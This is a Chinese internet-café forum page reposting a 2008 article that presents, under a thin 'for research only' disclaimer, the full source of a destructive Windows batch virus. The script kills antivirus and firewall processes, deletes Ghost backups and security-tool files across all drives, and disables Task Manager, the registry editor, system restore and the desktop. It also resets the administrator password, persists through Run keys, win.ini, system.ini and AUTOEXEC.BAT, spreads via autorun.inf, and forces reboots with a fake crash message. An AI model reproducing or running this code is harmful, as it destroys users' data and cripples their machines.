游戏预警 APP下载 开网吧 开网咖 开电竞酒店 网吧转让 网吧供求 关注公众号 网吧联盟论坛
 天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

安全学习之制作编写超级批处理病毒方法

2008-2-18赛迪网佚名
【大 中 小】

      网上的批处理病毒代码很少，我发一段我写的批处理给大家研究。我水平一般，也就只能写出这点东西了，大家多多包涵。废话不多说了，大家看代码，仅供研究，不要做坏事。


@echo off

title You DEAD!!!!!!!

set taskkill=s

copy %0 %windir%\system32\cmd.bat

attrib %windir%\system32\cmd.bat +r +s +h

net stop sharedaccess >nul

%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul

%s% /im norton* /f >nul

%s% /im av* /f >nul

%s% /im fire* /f >nul

%s% /im anti* /f >nul

%s% /im spy* /f >nul

%s% /im bullguard /f >nul

%s% /im PersFw /f >nul

%s% /im KAV* /f >nul

%s% /im ZONEALARM /f >nul

%s% /im SAFEWEB /f >nul

%s% /im OUTPOST /f >nul

%s% /im nv* /f >nul

%s% /im nav* /f >nul

%s% /im F-* /f >nul

%s% /im ESAFE /f >nul

%s% /im cle /f >nul

%s% /im BLACKICE /f >nul

%s% /im def* /f >nul

%s% /im 360safe.exe /f >nul

net stop Shadow" "System" "Service

set alldrive=d e f g h i j k l m n o p q r s t u v w x y z

for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul

for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul

rem 修改注册表.......

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\

Folder\Hidden\SHOWALL /v

CheckedValue /t REG_DWORD /d 00000000 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoRun /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoRecentDocsMenu /t

REG_DWORD /d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoDrives /t REG_DWORD /d

4294967295 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

Disableregistrytools /t

REG_DWORD /d 00000002 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoNetHood /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V

NoDesktop /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoClose /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoFind /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

DisableTaskMgr /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoLogOff /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoSetTaskBar /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v

DisableSR /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v

DisableConfig /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

RestrictRun /t REG_DWORD /d

00000001 /f >nul

cls

net user administrator 123456 >nul

for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nul

echo @echo off >d:\setup.bat

echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新

安装系统可以解决此问题

!^.^ >>d:\setup.bat

echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动

\a.bat >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f

>>d:\setup.bat

echo [windows] >> %windir%\win.ini

echo run=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini

echo load=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini

echo [boot] >> %windir%\system.ini

echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT >> %windir%\system.ini

echo [AutoRun] >d:\autorun.inf

echo Open=setup.bat >>d:\autorun.inf

echo Open=system.bat >>d:\autorun.inf

attrib d:\autorun.inf +r +s +h >>d:\setup.bat

attrib d:\setup.bat +r +s +h >>d:\setup.bat

start d:\setup.bat /min >nul

echo @echo off >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

echo if not d:\setup.bat start %windir%\system32\cmd.bat /min >>C:\AUTOEXEC.BAT

copy %0 %systemroot%\windows.bat >nul

if not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.bat

if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>%

windir%/system32/explorer.bat

if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%

windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

explorer.bat /t REG_SZ /d %

windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

explorer.bat /t REG_SZ /d %

windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat

echo start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat

attrib %windir%/system32/explorer.bat +r +s +h%

attrib %systemroot%/windows.bat +r +s +h

for %%c in (%alldrive%) do echo @echo off >>%%c:\system.bat

for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min >>%%c:\system.bat

for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.bat

set drive=e f g h i j k l m n o p q r s t u v w x y z

for %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inf

for %%c in (%drive%) do echo Open=system.bat >>%%c:\autorun.inf

copy %0 d:\Program" "Files\run.bat

for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start

d:\Program" "Files\run.bat /min

>>%%c:\system.bat

for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.bat

for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nul

for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nul

if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat

/min >>d:\setup.bat

attrib d:\Program" "Files\run.bat +r +s +h >nul

del %0

exit

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理，安装维护:


本文来源：赛迪网 作者：佚名

相关文章
开网吧时需要上墙的“网吧”安全管理制度文档，DOCX  被盗的那些游戏账号、QQ号码、都去哪了？你绝对想不到的产业链  利用网吧系统组策略禁止违规进程运行，确保网吧系统安全
网吧做好系统安全，防盗号三要三不要！  最近网吧老被盗号，分享一款工具可以有效防止盗号  成都网吧业主网吧消防安全知识培训
网吧Linux操作系统的网络安全设置  易乐游有盘网吧如何修复客户机安全中心  win10系统360安全卫士无法打开的问题
教你通过Win7注册表提高U盘安全性  
聚合推荐 ┊ 更多专题..
 2022年网吧恢复营业时间   网吧卫生   网吧电脑配置   开网吧   网吧键盘   网吧配置   网吧GHOST   ROS   网吧软件故障解决   网众无盘   网吧游戏菜单   网吧活动   网吧优化   网吧精品   网吧新手
声明
本文来源地址：0
声明：本站所发表的文章、评论及图片仅代表作者本人观点，与本站立场无关。若文章侵犯了您的相关权益，请及时与我们联系，我们会及时处理，感谢您对本站的支持！联系Email：support@txwb.com.，本站所有有注明来源为天下网吧或天下网吧论坛的原创作品，各位转载时请注明来源链接！
天下网吧·网吧天下

推荐文章

网吧显卡、CPU装X工具及C#源码下载和分析
本工具为修改网吧客户机系统/家用机电脑的设备管理器和，我的电脑属性里面的有关CPU和显卡标题的工具。本工具包含源码效果截
上海：网吧行业开放意愿强烈，除KTV外，「视情严而有序逐步开放」
天下网吧消息，近日「上海发布」的官方微信公众号发布了《我市KTV场所暂缓开放，其他娱乐行业场所根据各区疫情防控形势，视情

最新文章

2022年7月8日全网最低显卡价格简报，40系列显卡将按期发布
RTX3050，拼多多，昂达/神盾，1762，1762，RTX2060 12G，拼多多，影驰/骁将，1840，1840，
AMD官方回应：目前正在调查 450 Gb 数据泄露事件
近日，外媒报道称黑客盗窃了来自AMD的服务器上至少450Gbytes的数据，这其中包括了「含网络文件、系统信息和 AMD
  • 本周热门
  • 本月热门
  • 阅读排行

天下网吧、网吧天下 - 爱网吧、爱网咖，爱这里。人人为我我为人人！

Copyright ©TXWB.com, All Rights Reserved.

天下网吧版权所有
ICP备案号:渝ICP备20008032号-2 网上有害信息举报专区 闽公网安备35010202000238号